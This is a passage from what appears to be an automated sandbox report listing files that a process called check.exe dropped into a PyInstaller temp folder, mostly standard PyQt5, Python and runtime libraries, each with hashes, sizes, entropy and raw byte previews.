Encrypted:	false
SSDEEP:	1536:jXwjFVUDdMUD4TzdAhpQgO5poZHvJllEnhmdK4I77/dnPJX/imfb1jhvv3BxT8ue:jBzD4Tzaw5pCvJ8hVPdlvj3p8
MD5:	D6234E4E21021102B021744D5FA22346
SHA1:	63A14327D0CF0941D6D6B58BFA7E8B10337F557B
SHA-256:	51B8FF55B37DC5907D637A8DDDA12FBE816852B0244C74EB4F0FB84867A786E0
SHA-512:	37D24A092C5F29BACB7A4CA8207C4EEFD0F073B7E74A492402867F758084091BF1D79D2BA2B4A28B35FEF42E8023C371FDE97578F74BB2033551154E77102DE6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......uk_UAB../.......E...+...l...@.......A.......B...G...C...k...D.......E.......F.......G.......H......I...N...P...=...Q...a...R.......S.......T.......U.......V...r...W.......X.......Y.......]..y...s.......t...........;.......n...;..Q...;..+U...;.......;...x...;..!(...M......O.......O...........6...}..........E...=.......m..*....t..........3...(5..&...+;..:...+;..k0..+O...A..1...4-..D@... ..E@......H4...8..HY..W...H....2..IC...V..J....}..J.......J....%..LD...&..L....z..PS......QR.. ...R...\...T....(..U.......X.......Zr......[`..~...\.......]x......_......._....4..yg...c..1...;....E..=w.......m......I............................$..X....[...<...,.......y.......y...........M...................9..Y....E...F.......D...z.. ........P...........%..LB...D.......................-n...../......4W...5...F...0...p...0...W...0.......0...k...0.......5.......5..................^... D..+... D..V...+.......<U.../..<U......<....>..H5..+...H5..V...L....S..VE..!...VE..0...V......

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qtbase_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	127849
Entropy (8bit):	5.83455389078597
Encrypted:	false
SSDEEP:	3072:Fv2cHP10gOs6dcFxsJopMqOWv2WIrPFP8pa:Fh6s6iFxEodjef8pa
MD5:	9C6A3721D01ECAF3F952CE96F46CE046
SHA1:	4A944E9E31DF778F7012D8E4A66497583BFD2118
SHA-256:	085D29EAF9BBB788B2F2503D74A1EF963A9411CEB600441254CE49A120E1AB63
SHA-512:	6E2807B8785F42A26C9CCBDBA0327DD40B529B10C468593F0E74113774D1CCDAA4FD9ACE9B259B9040E1475911428ECAEA49425B0F170862CF8147D23DB48E46
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zh_TWB..2x..........+..)....@.......A.......B...j...C......D.......E......F.......G...)...H...M...I...q...P...%...Q...I...R......S......T.......U.......V...Z...W...~...X......Y.......]..!....s.......t..-...............4....;..!z...;.."\|...;.......;.......M..!....O.......O..Ay......N)...}..!............=.......m.." ...t...(.........(5......+;..;...+;.._...+O......1.......D@...C..E@...m..H4..W..HY..Pm..H...3...IC..1...J...1...J.......J...1...LD..2...L...38..PS..6...QR...T..R...T...T...A...U...A...X...E...Zr..K...[`..$...\...OW..]x......_......._...P...yg..a^..1...<....E..>....7...>.......;......Fo......+.......+.......-L...$..QR...[..-....,...F...y.......y..1J...............6......1p...9..Q....E..........2....z...........<......3....%..H....D..4W......4}....................Z...... ...5..4....0...?...0...K...0..5....0...L...5..6....5..........6.......U... D.."... D..O...+...<%..<U......<U..>...<...?:..H5..#...H5..O...L...AS..VE...M..VE......V.......f...L..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtCore.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2483712
Entropy (8bit):	6.241719144701645
Encrypted:	false
SSDEEP:	49152:ZYS8YHrNj4/7RsRLvYpiW3pCBU+Z7bJWvCSBYgbxGJ5M2GM/fXR1fUdihfSbCo6e:9bpj4/7RsRLvYpiW3pCBU+Z7bJWvCSBv
MD5:	678FA1496FFDEA3A530FA146DEDCDBCC
SHA1:	C80D8F1DE8AE06ECF5750C83D879D2DCC2D6A4F8
SHA-256:	D6E45FD8C3B3F93F52C4D1B6F9E3EE220454A73F80F65F3D70504BD55415EA37
SHA-512:	8D9E3FA49FB42F844D8DF241786EA9C0F55E546D373FF07E8C89AAC4F3027C62EC1BD0C9C639AFEABC034CC39E424B21DA55A1609C9F95397A66D5F0D834E88E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........}.........../....td./..../...td./...td./...td./...n../...1../......P...c./....c./....c./...Rich...........................PE..d....p.f.........." ...(............+.......................................0&...........`.............................................L.....................#.$.............%.... t.......................t..(....r..@............@..(o...........................text...~(......................... ..`.rdata..x....@......................@..@.data...h...........................@....pdata..$.....#......n#.............@..@.reloc.......%......L%.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtGui.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2494976
Entropy (8bit):	6.232020603277999
Encrypted:	false
SSDEEP:	24576:SUjOoTFrwI8nc6EmRAQ9RzgpP2bXYUKuXeLQp5PjYq0zb:SUqCgnZXRAQ9RzggbozJLQp5Mq
MD5:	AE182C36F5839BADDC9DCB71192CFA7A
SHA1:	C9FA448981BA61343C7D7DECACAE300CAD416957
SHA-256:	A9408E3B15FF3030F0E9ACB3429000D253D3BB7206F750091A7130325F6D0D72
SHA-512:	8950244D828C5EDE5C3934CFE2EE229BE19CC00FBF0C4A7CCEBEC19E8641345EF5FD028511C5428E1E21CE5491A3F74FB0175B03DA17588DAEF918E3F66B206A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......... j..sj..sj..sc..sn..s.p.rh..s1..rh..s.p.ri..s.p.rb..s.p.r...s...rh..s..ro..sj..s...syw.ra..syw.rk..syw.rk..sRichj..s........PE..d....p.f.........." ...(.....................................................P&...........`.........................................`&..L....&................$...............%.....................................p...@...............@{...........................text...O........................... ..`.rdata..............................@..@.data...xz.......^...t..............@....pdata........$.......#.............@..@.reloc........%......^%.............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtWidgets.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5144576
Entropy (8bit):	6.262739223310643
Encrypted:	false
SSDEEP:	49152:Qi+reIG7QwktsFPKoe2yicbbqgkcY9abW7KnTYK2bjMkTDGM7y:uqT7Q1kyTvoWW7EYvM9M
MD5:	E8C3BFBC19378E541F5F569E2023B7AA
SHA1:	ACA007030C1CEE45CBC692ADCB8BCB29665792BA
SHA-256:	A1E97A2AB434C6AE5E56491C60172E59CDCCE42960734E8BDF5D851B79361071
SHA-512:	9134C2EAD00C2D19DEC499E60F91E978858766744965EAD655D2349FF92834AB267AC8026038E576A7E207D3BBD4A87CD5F2E2846A703C7F481A406130530EB0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................=....1M............1M.....1M.....1M.....+......t.............J......J......J.....Rich...........................PE..d....p.f.........." ...(..,...!.....P.,.......................................N...........`..........................................><.T...D?<...............H..z...........pM..O..Pa8..............................`8.@.............,..............................text.....,.......,................. ..`.rdata........,.......,.............@..@.data... :....A.......A.............@....pdata...z....H..\|....H.............@..@.reloc...O...pM..P...0M.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\sip.cp313-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120320
Entropy (8bit):	6.034057886020456
Encrypted:	false
SSDEEP:	1536:pPd5NTdYgpmMrZhekwFH4PqgZNBQmT6V6WRFYE9Icx7pz4H5B:NhTdtmMdEkwuFTSvYE9Iczz4H5
MD5:	4F7F9E3A9466F4C0103FB04E1987E098
SHA1:	D4A339702E936AA5ECC1FE906AE2BA3BB0E481D7
SHA-256:	EBF27146466D61411493D2E243EAC691740F9C4B7A4B9AB0D408BE45B5E0AA35
SHA-512:	920BA8D58DCA7946341C1CC01FEA0B76CCE008F1D10061F84455A3DE9BA00FD9534F40C983486211BE92B85F786CD610C386529711A6F573A02BFAF8CA543A19
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........kSR...R...R...[...Z....X..P.......P....X..Q....X..Z....X.._....^..Q...R.......G_..[...G_..S...G_..S...G_..S...RichR...........PE..d.... g.........." ...(.H...........J.......................................0............`.............................................X...h................................ ..........................................@............`...............................text...(G.......H.................. ..`.rdata..lU...`...V...L..............@..@.data.... ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120400
Entropy (8bit):	6.6017475353076716
Encrypted:	false
SSDEEP:	1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5:	862F820C3251E4CA6FC0AC00E4092239
SHA1:	EF96D84B253041B090C243594F90938E9A487A9A
SHA-256:	36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
SHA-512:	2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............\|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\VCRUNTIME140_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	6.701724666218339
Encrypted:	false
SSDEEP:	768:ApzzO6ujT3MbR3v0Cz6SR8q83yaFdWr9zRcmgEl6U9zSC:9q/oGw3fFdwzRcmZFzSC
MD5:	68156F41AE9A04D89BB6625A5CD222D4
SHA1:	3BE29D5C53808186EBA3A024BE377EE6F267C983
SHA-256:	82A2F9AE1E6146AE3CB0F4BC5A62B7227E0384209D9B1AEF86BBCC105912F7CD
SHA-512:	F7BF8AD7CD8B450050310952C56F6A20B378A972C822CCC253EF3D7381B56FFB3CA6CE3323BEA9872674ED1C02017F78AB31E9EB9927FC6B3CBA957C247E5D57
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?.{...{...{...0...y.......y...r.H.p...{...H.......\|.......`.......~.......z.....$.z.......z...Rich{...........PE..d...l0.?.........." ...).<...8.......@...............................................b....`A........................................pm.......m..x....................r..PP......D....c..p...........................`b..@............P..`............................text....;.......<.................. ..`.rdata.."#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	84240
Entropy (8bit):	6.607563436050078
Encrypted:	false
SSDEEP:	1536:Kdrz7l1EVLsSuvX3dUK4MLgqK7YEog8y5sV8lIJLVy7SyFB:urzcuvXvrEo7y6V8lIJLVyB
MD5:	CB8C06C8FA9E61E4AC5F22EEBF7F1D00
SHA1:	D8E0DFC8127749947B09F17C8848166BAC659F0D
SHA-256:	FC3B481684B926350057E263622A2A5335B149A0498A8D65C4F37E39DD90B640
SHA-512:	E6DA642B7200BFB78F939F7D8148581259BAA9A5EDDA282C621D14BA88083A9B9BD3D17B701E9CDE77AD1133C39BD93FC9D955BB620546BB4FCF45C68F1EC7D6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..\|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).....\......0........................................P......7[....`.............................................H...(........0....... .. ......../...@..........T...........................`...@...............x............................text............................... ..`.rdata...=.......>..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131344
Entropy (8bit):	6.311142284249784
Encrypted:	false
SSDEEP:	3072:3RF024DWkT/DKGkXY402iXnVJf/FO50XnekZ39gPhvEQZIJyPArm:j0nHT/DKFXZorf/FO50uW3SEQt
MD5:	A55E57D7594303C89B5F7A1D1D6F2B67
SHA1:	904A9304A07716497CF3E4EAAFD82715874C94F1
SHA-256:	F63C6C7E71C342084D8F1A108786CA6975A52CEFEF8BE32CC2589E6E2FE060C8
SHA-512:	FFA61AD2A408A831B5D86B201814256C172E764C9C1DBE0BD81A2E204E9E8117C66F5DFA56BB7D74275D23154C0ED8E10D4AE8A0D0564434E9761D754F1997FC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............h....................................... .......Z....`.........................................P.................................../...........=..T............................;..@............0...............................text............................... ..`.rdata...y...0...z..................@..@.data....$....... ..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	277776
Entropy (8bit):	6.5855511991551
Encrypted:	false
SSDEEP:	6144:x9iD78EIq4x4OA5bZZ0KDgQcI79qWM53pLW1AFR8E4wXw76TPlpV77777VMvyk:xwDGqr5b8EgQ5+w6k
MD5:	F3377F3DE29579140E2BBAEEFD334D4F
SHA1:	B3076C564DBDFD4CA1B7CC76F36448B0088E2341
SHA-256:	B715D1C18E9A9C1531F21C02003B4C6726742D1A2441A1893BC3D79D7BB50E91
SHA-512:	34D9591590BBA20613691A5287EF329E5927A58127CE399088B4D68A178E3AF67159A8FC55B4FCDCB08AE094753B20DEC2AC3F0B3011481E4ED6F37445CECDD5
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....Z...............................................P......W.....`.................................................L........0..........t+......./...@..........T...............................@............... ............................text.............................. ..`.rdata..\...........................@..@.data...8'......."..................@....pdata..t+.......,..................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64272
Entropy (8bit):	6.220967684620152
Encrypted:	false
SSDEEP:	768:eNJI0DWiflFwY9X3Th1JnptE462TxNvdbj4dIJvI75YiSyvE62Em:2LDxflFwY9XDhPfVNv+dIJvIF7Syc6c
MD5:	32D76C9ABD65A5D2671AEEDE189BC290
SHA1:	0D4440C9652B92B40BB92C20F3474F14E34F8D62
SHA-256:	838D5C8B7C3212C8429BAF612623ABBBC20A9023EEC41E34E5461B76A285B86C
SHA-512:	49DC391F4E63F4FF7D65D6FD837332745CC114A334FD61A7B6AA6F710B235339964B855422233FAC4510CCB9A6959896EFE880AB24A56261F78B2A0FD5860CD9
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P...~.......=..............................................!.....`.........................................p...P................................/......X....l..T............................k..@............`...............................text....N.......P.................. ..`.rdata...M...`...N...T..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	157968
Entropy (8bit):	6.854644275249963
Encrypted:	false
SSDEEP:	3072:KbbS4R/G4Z8r7NjwJTSUqCRY4By7znfB9mNowgn0lCelIJ012+j:KbR/8oWeBi5YOwflCe8o
MD5:	1BA022D42024A655CF289544AE461FB8
SHA1:	9772A31083223ECF66751FF3851D2E3303A0764C
SHA-256:	D080EABD015A3569813A220FD4EA74DFF34ED2A8519A10473EB37E22B1118A06
SHA-512:	2B888A2D7467E29968C6BB65AF40D4B5E80722FFDDA760AD74C912F3A2F315D402F3C099FDE82F00F41DE6C9FAAEDB23A643337EB8821E594C567506E3464C62
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...).`...........1.......................................p.......P....`.............................................L.......x....P.......0.......:.../...`..4....\|..T...........................P{..@............p...............................text...^^.......`.................. ..`.rdata.......p.......d..............@..@.data........ ......................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc..4....`.......8..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33552
Entropy (8bit):	6.446391764486538
Encrypted:	false
SSDEEP:	384:7GpPCRjqMu/AoS6rf7sif0NHQibZIJ9UoOHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:fkTM6rg9aeZIJ9Uok5YiSyvTo2Et
MD5:	1C03CAA59B5E4A7FB9B998D8C1DA165A
SHA1:	8A318F80A705C64076E22913C2206D9247D30CD7
SHA-256:	B9CF502DADCB124F693BF69ECD7077971E37174104DBDA563022D74961A67E1E
SHA-512:	783ECDA7A155DFC96A718D5A130FB901BBECBED05537434E779135CBA88233DD990D86ECA2F55A852C9BFB975074F7C44D8A3E4558D7C2060F411CE30B6A915F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).....:.......................................................r....`.........................................PD..L....D..d....p.......`..l....T.../..........@4..T............................3..@............0...............................text............................... ..`.rdata..2....0....... ..............@..@.data........P.......>..............@....pdata..l....`.......D..............@..@.rsrc........p.......H..............@..@.reloc...............R..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83728
Entropy (8bit):	6.331814573029388
Encrypted:	false
SSDEEP:	1536:XuV3gvWHQdMq3ORC/OypTXQlyJ+9+nzEYwsBI6tzOKuZIJywJ7Sy21:XuVQvcQTSypTXQlyJs+nzEYJI6QlZIJY
MD5:	FE896371430BD9551717EF12A3E7E818
SHA1:	E2A7716E9CE840E53E8FC79D50A77F40B353C954
SHA-256:	35246B04C6C7001CA448554246445A845CE116814A29B18B617EA38752E4659B
SHA-512:	67ECD9A07DF0A07EDD010F7E3732F3D829F482D67869D6BCE0C9A61C24C0FDC5FF4F4E4780B9211062A6371945121D8883BA2E9E2CF8EB07B628547312DFE4C9
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m\|.ll}..o\|.ll}..h\|.ll}..i\|.ll}..m\|.ll}.lm}.ll}..m\|.ll}..a\|.ll}..l\|.ll}..}.ll}..n\|.ll}Rich.ll}........PE..d.....g.........." ...).x.......... -.......................................`.......s....`.........................................@...P............@.......0.........../...P..........T...........................@...@............................................text....w.......x.................. ..`.rdata.. y.......z...\|..............@..@.data...............................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	181520
Entropy (8bit):	5.972827303352998
Encrypted:	false
SSDEEP:	3072:kO+IWyXHllRhN1qhep7fM6CpqjZI8u7pUULbaLZErWreVEzvT3iFCNc6tYwJc1OW:kpSrhN1E2M6CpUuwg5dEW7
MD5:	1C0E3E447F719FBE2601D0683EA566FC
SHA1:	5321AB73B36675B238AB3F798C278195223CD7B1
SHA-256:	63AE2FEFBFBBBC6EA39CDE0A622579D46FF55134BC8C1380289A2976B61F603E
SHA-512:	E1A430DA2A2F6E0A1AED7A76CC4CD2760B3164ABC20BE304C1DB3541119942508E53EA3023A52B8BADA17A6052A7A51A4453EFAD1A888ACB3B196881226C2E5C
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...)............ /..............................................R\....`.............................................d................................/..............T...........................P...@............................................text...0........................... ..`.rdata..D%.......&..................@..@.data...`...........................@....pdata...............n..............@..@.rsrc................z..............@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\_wmi.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38160
Entropy (8bit):	6.338856805460127
Encrypted:	false
SSDEEP:	768:fEkK9VgWOZbs3550QcJpPllIJLiX5YiSyvQ602Euf0:fE93jkbQcJvlIJLiJ7Syq00
MD5:	1C30CC7DF3BD168D883E93C593890B43
SHA1:	31465425F349DAE4EDAC9D0FEABC23CE83400807
SHA-256:	6435C679A3A3FF4F16708EBC43F7CA62456C110AC1EA94F617D8052C90C143C7
SHA-512:	267A1807298797B190888F769D998357B183526DFCB25A6F1413E64C5DCCF87F51424B7E5D6F2349D7A19381909AB23B138748D8D9F5858F7DC0552F5C5846AC
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........H2.&a.&a.&a..a.&a..'`.&a..%`.&a.."`.&a..'`.&a..#`.&a..'`.&a.'a..&a.."`.&a../`.&a..&`.&a...a.&a..$`.&aRich.&a................PE..d.....g.........." ...).,...<.......)..............................................'.....`.........................................0V..H...xV.......................f.../......x...tG..T............................C..@............@.......T..@....................text....*.......,.................. ..`.rdata..d ...@..."...0..............@..@.data........p.......R..............@....pdata...............V..............@..@.rsrc................Z..............@..@.reloc..x............d..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\base_library.zip

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1394456
Entropy (8bit):	5.531698507573688
Encrypted:	false
SSDEEP:	12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
MD5:	A9CBD0455B46C7D14194D1F18CA8719E
SHA1:	E1B0C30BCCD9583949C247854F617AC8A14CBAC7
SHA-256:	DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
SHA-512:	B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

C:\Users\user\AppData\Local\Temp\_MEI77842\certifi\cacert.pem

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Reputation:	unknown
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md.cp313-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.818583535960129
Encrypted:	false
SSDEEP:	96:Mvs10hZd9D74ACb0xx2uKynu10YLsgxwJiUNiL0U5IZsJFPGDtCFCCQAADo+cX6m:MXv9XFCk2z1/t12iwU5usJFuCyPcqgE
MD5:	56FE4F6C7E88212161F49E823CCC989A
